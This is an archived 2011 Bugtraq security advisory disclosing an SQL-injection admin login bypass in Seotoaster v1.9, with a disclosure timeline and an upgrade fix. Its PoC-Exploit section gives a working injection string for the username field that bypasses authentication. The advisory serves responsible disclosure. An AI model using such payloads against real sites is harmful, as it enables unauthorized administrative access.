bugtraq - Seotoaster SQL-Injection Admin Login Bypass

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: Thu, 15 Dec 2011 18:19:36 GMT
From: security@...oserve.de
To: bugtraq@...urityfocus.com
Subject: Seotoaster SQL-Injection Admin Login Bypass

Advisory:              	Seotoaster SQL-Injection Admin Login Bypass
Advisory ID:           	INFOSERVE-ADV2011-06
Author:                	Stefan Schurtz
Contact:		security@...oserve.de
Affected Software:  	Successfully tested on Seotoaster v.1.9
Vendor URL:          	http://www.seotoaster.com/
Vendor Status:       	fixed

==========================
Vulnerability Description
==========================

Seotoaster v.1.9 is prone to an SQL-Injection which bypass the admin login

==================
PoC-Exploit
==================

http://<target>/seotoaster/go

User: ' or 1=1)#
PW: notimportant

=========
Solution
=========

Upgrade to the latest version

====================
Disclosure Timeline
====================

15-Nov-2011 - Secunia SVCRP (vuln@...unia.com)
15-Dec-2011 - fixed by vendor

========
Credits
========

Vulnerabilitiy found and advisory written by the INFOSERVE security team.

===========
References
===========

http://secunia.com/advisories/46881/
http://www.infoserve.de/system/files/advisories/INFOSERVE-ADV2011-06.txt